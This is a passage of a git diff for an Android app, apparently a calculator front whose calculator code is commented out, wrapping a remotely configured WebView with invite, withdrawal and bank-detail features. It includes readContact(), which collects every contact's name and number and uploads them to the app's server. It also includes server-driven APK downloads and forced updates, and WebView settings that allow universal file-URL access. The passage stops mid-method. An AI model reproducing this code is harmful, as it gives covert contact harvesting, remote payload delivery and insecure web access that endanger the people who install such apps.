+// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/base_sg/src/main/java/com/web/base/MainActivity2.java b/base_sg/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..a4cb86e --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1406 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.media.AudioAttributes; +import android.media.MediaPlayer; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.gson.Gson; +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Random; +import java.util.Timer; +import java.util.TimerTask; +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + private ImageView showTopV1; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + LinearLayout otherApp; +// CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + LinearLayout layoutOtherAppT; + + CardView ivFaceBook; +// CardView ivTelG; +// CardView ivWhatsApp; + CardView ivLink; +// TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private String shareUrl; + private String myInviteCode; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); + getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + floatingActionButton = findViewById(R.id.bt_menu); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); +// notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + layoutOtherAppT = findViewById(R.id.layout_otherapp_t); + + ivFaceBook = findViewById(R.id.iv_facebook); +// ivTelG = findViewById(R.id.iv_tel); +// ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); +// tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); + ivFaceBook.setOnClickListener(view -> { +// toOtherApp(facebookUrl, "com.facebook.katana", 1); + webView.reload(); + }); +// ivTelG.setOnClickListener(view -> { +// toOtherApp(telegramUrl, "org.telegram.messenger", 2); +// }); +// ivWhatsApp.setOnClickListener(view -> { +// toOtherApp(whatsappUrl, "com.whatsapp", 3); +// }); + ivLink.setOnClickListener(view -> { + webView.loadUrl("https://zh.xhamster.com/"); + }); + ivHome.setOnClickListener(view -> { + webView.loadUrl(MainActivity.getString(this,"base_url",url)); +// webView.loadUrl(url); + }); + floatingActionButton.setOnClickListener(view -> { + showBottomDialog(); + }); +// otherApp.setOnClickListener(view -> { +//// int visi = layoutOtherApp.getVisibility(); +//// if (visi == 0) { +//// ivotherApp.setImageResource(R.mipmap.ic_shousuo); +//// } else { +//// ivotherApp.setImageResource(R.mipmap.ic_zhangkai); +//// } +// }); + otherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherAppT.getLeft() + (int) dx; + int top = layoutOtherAppT.getTop() + (int) dy; + int right = layoutOtherAppT.getRight() + (int) dx; + int bottom = layoutOtherAppT.getBottom() + (int) dy; + layoutOtherAppT.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + } + + break; + } + return true; + }); + + layoutOtherAppT.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + setTotalTongJi(); //每日活跃统计 + + + } + public void setBackDrawables(int drawableId){ + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * @param isRound + */ + public void setImageView(boolean isRound){ + if(isRound){ + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + }else{ + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + public void showBottomDialog() { + ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); + actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { + @Override + public void toShare() { + if (TextUtils.isEmpty(myInviteCode)) { + getMyInvite(true); + } else { + goShare(); + } + } + + @Override + public void toCheck() { + showRecordDialog(); + } + + @Override + public void toWithDrawRecords() { + showWithDrawRecordDialog(); + } + + @Override + public void toWithDrawApply() { + goWithDrawApply(); + } + + @Override + public void toBankInfo() { + showBankInfoDialog(); + } + }); + actionDialog.setCancelable(true); + actionDialog.setCanceledOnTouchOutside(true); + actionDialog.show(); + } + + public void goShare() { + Intent shareTextIntent = new Intent(); + shareTextIntent.setAction(Intent.ACTION_SEND); + String title = getString(R.string.app_sharetitle) + myInviteCode; + String parentCode = MainActivity.getString(this, "code", ""); + shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); + shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); + shareTextIntent.setType("text/plain"); + startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); + } + + private ActionWithDrawApplyDialog drawApplyDialog; + + public void goWithDrawApply() { + drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); + drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { + @Override + public void toSumbit(String content) { + sendApply(content); + } + + @Override + public void toCancel() { + + } + }); + drawApplyDialog.setCancelable(false); + drawApplyDialog.setCanceledOnTouchOutside(false); + drawApplyDialog.show(); + } + + /** + * 编辑银行卡信息 + */ + public void showBankInfoDialog() { + ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); + bankInfoDialog.setCancelable(false); + bankInfoDialog.setCanceledOnTouchOutside(false); + bankInfoDialog.show(); + } + + /** + * 发送申请记录 + */ + public void sendApply(String amount) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("amount", amount); + map.put("inviteCode", myInviteCode); + Api.getInstance().sendWithDrawApply(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); + if (drawApplyDialog != null) { + drawApplyDialog.dismiss(); + } + getMyInvite(false); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); + } + + @Override + public void onError2(Result o) { + Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + + + public void showRecordDialog() { + ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + public void showWithDrawRecordDialog() { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + otherApp.setVisibility(View.VISIBLE); + + ivNotify.setVisibility(View.VISIBLE); + if(userId == 112||userId == 87||userId == 91||userId ==93||userId ==92||userId==84||userId == 120){ + ivNotify.setVisibility(View.INVISIBLE); + } +// ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + contactApply = dataInfo.getContactApplyMode(); + notifyApply = dataInfo.getNoticeApplyMode(); +// if (contactApply == 0 || contactApply == 1) { +// readContact(); +// } + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + facebookUrl = dataInfo.getFbUrl().trim(); + telegramUrl = dataInfo.getTgUrl().trim(); + whatsappUrl = dataInfo.getWsUrl().trim(); + if (!TextUtils.isEmpty(facebookUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.VISIBLE); + } +// if (!TextUtils.isEmpty(telegramUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivTelG.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(whatsappUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivWhatsApp.setVisibility(View.VISIBLE); +// } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + + + private void checkUpdate(String url) { + new AppUpdater(this, url).start(); + } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + }).start(); + + + } + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void getMyInvite(boolean isShare) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); + Api.getInstance().getMyInvited(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + myInviteCode = o.data.getInviteCode(); +// myInviteNum = o.data.getInviteNum(); + MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); + MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); + MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); + MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); + MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); + } + if (isShare) { + goShare(); + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + WebViewClient webViewClient = new WebViewClient() { + + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } + + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + 